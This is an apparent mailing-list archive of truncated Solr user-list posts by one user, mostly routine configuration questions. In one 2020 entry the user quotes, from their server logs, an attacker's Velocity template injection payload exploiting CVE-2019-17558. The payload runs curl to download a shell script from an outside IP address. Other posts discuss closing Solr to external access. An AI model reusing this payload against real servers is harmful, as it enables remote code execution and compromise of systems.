Re: CVE-2019-17558 on SOLR 6.1

2021-02-13 Thread TK Solr
sudden death ended. So I tend to think just disabling the Velocity engine might not enough. Of course there is a possibility that this server was also getting a different kind of attack. We don't know. But in general, the Solr port should be closed from external access. TK On 2/12/21 10:

Re: SolrCloud keeps crashing

2021-02-03 Thread TK Solr
Oops, I should have referenced this document rather: https://www.tenable.com/cve/CVE-2019-17558 <https://www.tenable.com/cve/CVE-2019-17558> On 2/3/21 2:42 PM, TK Solr wrote: Victor & Satish, Is your Solr accessible from the Internet by anyone? If so, your site is being attacke

Re: SolrCloud keeps crashing

2021-02-03 Thread TK Solr
security hole doesn't just leak the information but it can also kill the Solr process. TK

Re: "Failed to reserve shared memory."

2021-01-07 Thread TK Solr
rent') According to the Admin UI, -XX:+UseLargePage is gone, which is good but all other -XX:* except -XX:+UseG1GC are also gone. What is the correct way to remove just -XX:UseLargePage ? TK On 1/6/21 3:42 PM, TK Solr wrote: My client is having a sudden death syndrome of Solr 8.3.1. Solr s

Re: The x: prefix for the core name and 'custom.vm' errors in Admin UI's Logging tab

2021-01-07 Thread TK Solr
-day-vulnerability Fortunately the attack isn't succeeding because of SOLR-13971 fix, and instead it is causing these errors. I'll fortify the Solr access. On 1/7/21 11:02 AM, TK Solr wrote: On the Admin UI's login screen, when the Logging tab is clicked, I see lines like: Time(Lo

The x: prefix for the core name and 'custom.vm' errors in Admin UI's Logging tab

2021-01-07 Thread TK Solr
e Admin UI code itself? Does the Admin UI use Velocity? (I thought it might be a library path issue but I don't see 'custom.vm' anywhere in the Solr source code.) What does "x:" prefix to the core name mean? What does "false" under the log level mean? The Solr I'm using is 8.3.1 using openJDK 11 on Ubuntu 18.04.3. TK

"Failed to reserve shared memory."

2021-01-06 Thread TK Solr
not quite sure what kind of variable GC_TUNE is. It is used as in:   if [ -z ${GC_TUNE+x} ]; then ...     '-XX:+AlwaysPreTouch')   else     GC_TUNE=($GC_TUNE)   fi I'm not familiar with *${*GC_TUNES*+x}* and*($*GC_TUNE*)* syntax. Is this a special kind of environmental variable? TK

Re: ReversedWildcardFilter - should it be applied only at the index time?

2020-04-15 Thread TK Solr
ot;:{ "11d6e092-58b5-4c1b-83bc-f3b37e0797fd":{ "match":true, "value":1.0, "description":"email:*@aol.com"}, The email field uses ReversedWildcardFilter for both indexing and query. On 4/15/20 12:04 PM, Erick Erickson wrote: What do you see if you a

Re: ReversedWildcardFilter - should it be applied only at the index time?

2020-04-15 Thread TK Solr
being indexed is mar, then the reversed token would be \u0001ram, so a search for 'ram' wouldn't accidentally match that). If *withOriginal* is set to true then it will reverse the normal token as well as the reversed token. On Thu, 9 Apr 2020 at 02:27, TK Solr wrote: I

Re: ReversedWildcardFilter - should it be applied only at the index time?

2020-04-08 Thread TK Solr
49 PM, TK Solr wrote: In the usage example shown in ReversedWildcardFilter <https://lucene.apache.org/solr/guide/8_3/filter-descriptions.html#reversed-wildcard-filter> in Solr Ref Guide, and only usage find in managed-schema to define text_general_rev, the filter is used only f

ReversedWildcardFilter - should it be applied only at the index time?

2020-04-08 Thread TK Solr
on of filter, I see "Tokens without wildcards are not reversed." But the wildcard appears only in the query string. How can ReversedWildcardFilter know if the wildcard is being used if the filter is used only at the indexing time? TK

Re: Spellcheck on specified fields?

2020-04-07 Thread TK Solr
Correction. "mark seattle" query doesn't show suggestions since "mark" alone has some hits. It is when the same logic is used for a single term query of "seatle" that 3 suggestions of "seattle" are returned. Do I have to identify the field by using s

Spellcheck on specified fields?

2020-04-07 Thread TK Solr
ase disregard exact numbers. It's from more complicated query of the same nature.) I think it's showing a correction suggestion for each query field. Since the phone field keeps a phone number and spelling corrections are not very useful, I would like the spellchecker to skip this and similar fields but I don't see a relevant parameter in spellchecker's documentation. Is there any way to specify the fields I am interested or I am not interested? TK

Proper way to manage managed-schema file

2020-04-06 Thread TK Solr
ted way to manage this file? Admin UI can add fields but cannot edit existing one or add new field types. Do I keep a script of many schema calls? (Then how do I reset the default to the initial one, which would be needed before re-re-playing the schema calls.) TK

Re: Admin UI core loading fails

2020-04-06 Thread TK Solr
e('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('curl+-o+/tmp/zzz+217.12.209.234/s.sh'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&

Re: Admin UI core loading fails

2020-04-02 Thread TK Solr
params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}} 2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] o.a.v.loader ResourceManager: unable to find resource 'custom.vm' in any resource

Admin UI core loading fails

2020-04-02 Thread TK Solr
newly added filed type. What could be the cause of these errors that only happens with the Reload button? TK

Re: How to retrieve nested documents (parents and their children together) ?

2018-07-25 Thread TK Solr
Ah, that's what _root_ is for ! I was wondering. Thank you! On 7/25/18 2:36 PM, Mikhail Khludnev wrote: _root_:parent-id чт, 26 июля 2018, 1:33 TK Solr : The child doc transformer worked great. Thank you. In my experiment, posting 'parent-id' to the update end point o

Re: How to retrieve nested documents (parents and their children together) ?

2018-07-25 Thread TK Solr
The child doc transformer worked great. Thank you. In my experiment, posting 'parent-id' to the update end point only deleted the parent doc. Do I insert a complex join query from id to _version_ and delete all the docs of the matching _version_ ? On 7/24/18 9:27 PM, TK Solr wro

Re: How to retrieve nested documents (parents and their children together) ?

2018-07-24 Thread TK Solr
Check [child] https://lucene.apache.org/solr/guide/7_4/transforming-result-documents.html#child-childdoctransformerfactory or [subquery]. Although, it's worth to put reference to it somewhere in blockjoin qparsers. Documentation patches are welcome. On Sun, Jul 22, 2018 at 10:25 AM TK Solr wrot

How to retrieve nested documents (parents and their children together) ?

2018-07-22 Thread TK Solr
https://lucene.apache.org/solr/guide/7_4/other-parsers.html#block-join-parent-query-parser talks about {!parent which=} docs>, which returns parent docs only, and {!child of=} , which returns child docs only. Is there a way to retrieve the matched documents in the original, nested form? Using

Re: Parent-child query; subqueries on child docs of the same set of fields

2018-07-08 Thread TK Solr
Mikhail, Actually, your suggestion worked! I was making a typo on the field name. Thank you very much! TK p.s. I have found a mention of _query_ "magic field" in the Solr Reference Guide On 7/8/18 11:04 AM, TK Solr wrote: Thank you. This is more promising because I see the sec

Re: Parent-child query; subqueries on child docs of the same set of fields

2018-07-08 Thread TK Solr
y_:{!parent which="isParent:true" v='attrname:genre AND attrvalue:drama'} AND _query_:{!parent which="isParent:true" v='attrname:country AND attrvalue:USA'} q=+{!parent which="isParent:true" v='attrname:genre AND attrvalue:drama'} +{!par

Re: Parent-child query; subqueries on child docs of the same set of fields

2018-07-03 Thread TK Solr
Thank you, Mikhail. But this didn't work. The first {!parent which='...' v='...'} alone works. But the second {!parent ...} clause is completely ignored. In fact, if I turn on debugQuery, rawquerystring and querystring have the second query but parsedquery and parsedquery_toString only have the f

Parent-child query; subqueries on child docs of the same set of fields

2018-07-03 Thread TK Solr
attrvalue:drama AND attrname:country AND attrvalue:USA would mean a query of parent where one of the children must match. I want a parent that have two children, one is matched by one sub-query, and another is matched by another sub-query. TK

Re: Windows monitoring software for Solr recommendation

2018-06-05 Thread TK Solr
I have is that the Solr config files are that of Solr 5.x and they just upgraded to Solr 6.6. But I understand Solr 6 supports Solr 5 compatible mode. Has there been any issue in the compatibility mode? TK

Windows monitoring software for Solr recommendation

2018-06-05 Thread TK Solr
e all java software shares the same EXE, java.EXE, those won't work.) Can anyone recommend some? They don't need to be free but can't be very expensive since it's a very lightly used Solr system. Perhaps less than $500? TK

Re: Run solr server using Java program

2018-04-21 Thread TK Solr
.main(argv). But a big question is why you'd like to do that. TK On 4/18/18 7:34 AM, rameshkjes wrote: Hi guys, I am able to run the solr instance, add the core and import the data manually. But I want to do everything with the help of Java program, I searched a lot but did not find an

Minimum memory requirement

2018-01-31 Thread TK Solr
On my AWS t2.micro instance, which only has 1 GB memory, I installed Solr (4.7.1 - please don't ask) and tried to run it in sample directory as java -jar start.jar. It exited shortly due to lack of memory. How much memory does Solr require to run, with empty core? TK

literal.* use in posting PDF files

2018-01-30 Thread TK Solr
commit=true' -F "myfile=@foo.pdf" but I got: [doc=foo.pdf] missing required field: libDocumentID400 Can I specify more than one litera.name=value ? Do I have to define literal.libDocumentID in solrconfig.xml? I'm using Solr 5.3.1 (please don't ask...). TK

Bitnami, or other Solr on AWS recommendations?

2018-01-26 Thread TK Solr
If I want to deploy Solr on AWS, do people recommend using the prepackaged Bitnami Solr image? Or is it better to install Solr manually on a computer instance? Or are there a better way? TK

Re: Extended characters

2017-10-29 Thread TK Solr
I think you can use ASCIIFoldingFIlter http://lucene.apache.org/core/6_2_0/analyzers-common/org/apache/lucene/analysis/miscellaneous/ASCIIFoldingFilter.html by inserting its factory in your schema. http://lucene.apache.org/core/6_2_0/analyzers-common/org/apache/lucene/analysis/miscellaneous/ASC

Re: Where is schema.xml ?

2015-06-17 Thread TK Solr
On 6/17/15, 2:35 PM, Upayavira wrote: Do you have a managed-schema file, or such? You may have used the configs that have a managed schema, i.e. one that allows you to change the schema via HTTP. I do see a file named "managed-schema" without ".xml" extension in the conf directory. Its content

Where is schema.xml ?

2015-06-17 Thread TK Solr
gsets/sample_techproducts_configs/conf/schema.xml is used by the foo core because it knows about the "cat" field. Is the template files in sample_techproducts_configs considered standard? TK

Re: YAJar

2015-06-08 Thread TK Solr
Maybe maven shade can help your situation ? https://maven.apache.org/plugins/maven-shade-plugin/ http://stackoverflow.com/questions/13620281/what-is-the-maven-shade-plugin-used-for-and-why-would-you-want-to-relocate-java Create a self-contained jar with guava package renamed. Not very pretty but

Re: [solr 5.1] Looking for full text + collation search field

2015-05-29 Thread TK Solr
On 5/21/15, 5:19 AM, Björn Keil wrote: Thanks for the advice. I have tried the field type and it seems to do what it is supposed to in combination with a lower case filter. However, that raises another slight problem: German umlauts are supposed to be treated slightly different for the purpos

Re: solr 5.x on glassfish/tomcat instead of jetty

2015-05-21 Thread TK Solr
On 5/21/15, 5:26 AM, Steven White wrote: Hi TK, Can you share the thread you found on this WAR topic? Steve, Actually, that was my mistake. I still don't know why WARs are bad. In the thread "Solr 5.0, Jetty and WAR", which you started and are familiar with, https://wiki.

Re: solr 5.x on glassfish/tomcat instead of jetty

2015-05-20 Thread TK Solr
Never mind. I found that thread. Sorry for the noise. On 5/20/15, 5:56 PM, TK Solr wrote: On 5/20/15, 8:21 AM, Shawn Heisey wrote: As of right now, there is still a .war file. Look in the server/webapps directory for the .war, server/lib/ext for logging jars, and server/resources for the

Re: solr 5.x on glassfish/tomcat instead of jetty

2015-05-20 Thread TK Solr
On 5/20/15, 8:21 AM, Shawn Heisey wrote: As of right now, there is still a .war file. Look in the server/webapps directory for the .war, server/lib/ext for logging jars, and server/resources for the logging configuration. Consult your container's documentation to learn where to place these thin

Re: Solr Multilingual Indexing with one field- Guidance

2015-05-12 Thread TK Solr
On 5/7/15, 11:23 AM, Kuntal Ganguly wrote: 1) Is this a correct approach to do it? Or i'm missing something? Does the user wants to see the documents that he/she doesn't understand? The words such as "doctor", "taxi", etc. are common among many languages in Europe. Would the Spanish user wants

Lucene test framework documentation?

2015-01-08 Thread TK Solr
Is there any good document about Lucene Test Framework? I can only find API docs. Mimicking the unit test I've found in Lucene trunk, I tried to write a unit test that tests a TokenFilter I am writing. But it is failing with an error message like: java.lang.AssertionError: close() called in wrong s

Re: Implementing custom analyzer for multi-language stemming

2014-08-05 Thread TK
ext. What strategy would you use to deal with short text? -- TK

Re: Implementing custom analyzer for multi-language stemming

2014-08-04 Thread TK
On 7/30/14, 10:47 AM, Eugene wrote: Hello, fellow Solr and Lucene users and developers! In our project we receive text from users in different languages. We detect language automatically and use Google Translate APIs a lot (so having arbitrary number of languages in our system doesn't